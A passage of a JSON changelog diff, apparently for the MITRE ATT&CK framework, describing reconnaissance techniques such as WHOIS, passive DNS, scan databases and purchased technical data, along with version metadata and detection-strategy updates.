+ "DET0346: Detect Screen Capture via Commands and API Calls" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 17:01:42.558000+00:00", + "modified": "2025-10-24 17:49:11.164000+00:00", + "name": "Search Closed Sources", + "description": "Adversaries may search and gather information about victims from closed (e.g., paid, private, or otherwise not freely available) sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)\n\nAdversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1597", + "external_id": "T1597" + }, + { + "source_name": "ZDNET Selling Data", + "description": "Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.", + "url": "https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Barbara Louis-Sidney (OWN-CERT)" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:11.164000+00:00\", \"old_value\": \"2025-04-15 23:03:31.068000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0822: Detection of Search Closed Sources" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 17:05:43.562000+00:00", + "modified": "2025-10-24 17:48:22.109000+00:00", + "name": "Purchase Technical Data", + "description": "Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.\n\nAdversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim\u2019s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1597/002", + "external_id": "T1597.002" + }, + { + "source_name": "ZDNET Selling Data", + "description": "Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.", + "url": "https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:22.109000+00:00\", \"old_value\": \"2025-04-15 22:58:36.430000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0880: Detection of Purchase Technical Data" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:56:05.810000+00:00", + "modified": "2025-10-24 17:48:48.734000+00:00", + "name": "Search Open Technical Databases", + "description": "Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan)\n\nAdversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1596", + "external_id": "T1596" + }, + { + "source_name": "Circl Passive DNS", + "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.", + "url": "https://www.circl.lu/services/passive-dns/" + }, + { + "source_name": "DNS Dumpster", + "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.", + "url": "https://dnsdumpster.com/" + }, + { + "source_name": "Medium SSL Cert", + "description": "Jain, M. (2019, September 16). Export & Download \u2014 SSL Certificate from Server (Site URL). Retrieved October 20, 2020.", + "url": "https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2" + }, + { + "source_name": "WHOIS", + "description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.", + "url": "https://who.is/" + }, + { + "source_name": "Shodan", + "description": "Shodan. (n.d.). Shodan. Retrieved October 20, 2020.", + "url": "https://shodan.io" + }, + { + "source_name": "SSLShopper Lookup", + "description": "SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.", + "url": "https://www.sslshopper.com/ssl-checker.html" + }, + { + "source_name": "DigitalShadows CDN", + "description": "Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed \u2013 How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.", + "url": "https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:48.734000+00:00\", \"old_value\": \"2025-04-15 23:04:02.249000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0860: Detection of Search Open Technical Databases" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--91177e6d-b616-4a03-ba4b-f3b32f7dda75", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:59:56.648000+00:00", + "modified": "2025-10-24 17:49:06.210000+00:00", + "name": "CDNs", + "description": "Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor\u2019s geographical region.\n\nAdversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization\u2019s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1596/004", + "external_id": "T1596.004" + }, + { + "source_name": "DigitalShadows CDN", + "description": "Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed \u2013 How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.", + "url": "https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:06.210000+00:00\", \"old_value\": \"2025-04-15 21:55:21.053000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0809: Detection of CDNs" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--17fd695c-b88c-455a-a3d1-43b6cb728532", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:57:45.044000+00:00", + "modified": "2025-10-24 17:48:27.172000+00:00", + "name": "DNS/Passive DNS", + "description": "Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts.\n\nAdversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1596/001", + "external_id": "T1596.001" + }, + { + "source_name": "Circl Passive DNS", + "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.", + "url": "https://www.circl.lu/services/passive-dns/" + }, + { + "source_name": "DNS Dumpster", + "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.", + "url": "https://dnsdumpster.com/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:27.172000+00:00\", \"old_value\": \"2025-04-15 22:14:34.882000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0877: Detection of DNS/Passive DNS" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:58:58.738000+00:00", + "modified": "2025-10-24 17:48:21.668000+00:00", + "name": "Digital Certificates", + "description": "Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.\n\nAdversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1596/003", + "external_id": "T1596.003" + }, + { + "source_name": "Medium SSL Cert", + "description": "Jain, M. (2019, September 16). Export & Download \u2014 SSL Certificate from Server (Site URL). Retrieved October 20, 2020.", + "url": "https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2" + }, + { + "source_name": "SSLShopper Lookup", + "description": "SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.", + "url": "https://www.sslshopper.com/ssl-checker.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:21.668000+00:00\", \"old_value\": \"2025-04-15 22:18:01.430000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0831: Detection of Digital Certificates" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 17:00:44.586000+00:00", + "modified": "2025-10-24 17:49:34.076000+00:00", + "name": "Scan Databases", + "description": "Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)\n\nAdversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1596/005", + "external_id": "T1596.005" + }, + { + "source_name": "Shodan", + "description": "Shodan. (n.d.). Shodan. Retrieved October 20, 2020.", + "url": "https://shodan.io" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:34.076000+00:00\", \"old_value\": \"2025-04-15 23:02:32.145000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0858: Detection of Scan Databases" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:56:49.744000+00:00", + "modified": "2025-10-24 17:48:26.629000+00:00", + "name": "WHOIS", + "description": "Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)\n\nAdversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1596/002", + "external_id": "T1596.002" + }, + { + "source_name": "WHOIS", + "description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.", + "url": "https://who.is/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.629000+00:00\", \"old_value\": \"2025-04-15 23:20:02.082000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0832: Detection of WHOIS" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:48:04.509000+00:00", + "modified": "2025-10-24 17:49:10.188000+00:00", + "name": "Search Open Websites/Domains", + "description": "Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1593", + "external_id": "T1593" + }, + { + "source_name": "SecurityTrails Google Hacking", + "description": "Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved September 12, 2024.", + "url": "https://www.recordedfuture.com/threat-intelligence-101/threat-analysis-techniques/google-dorks" + }, + { + "source_name": "Cyware Social Media", + "description": "Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020.", + "url": "https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e" + }, + { + "source_name": "ExploitDB GoogleHacking", + "description": "Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.", + "url": "https://www.exploit-db.com/google-hacking-database" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + 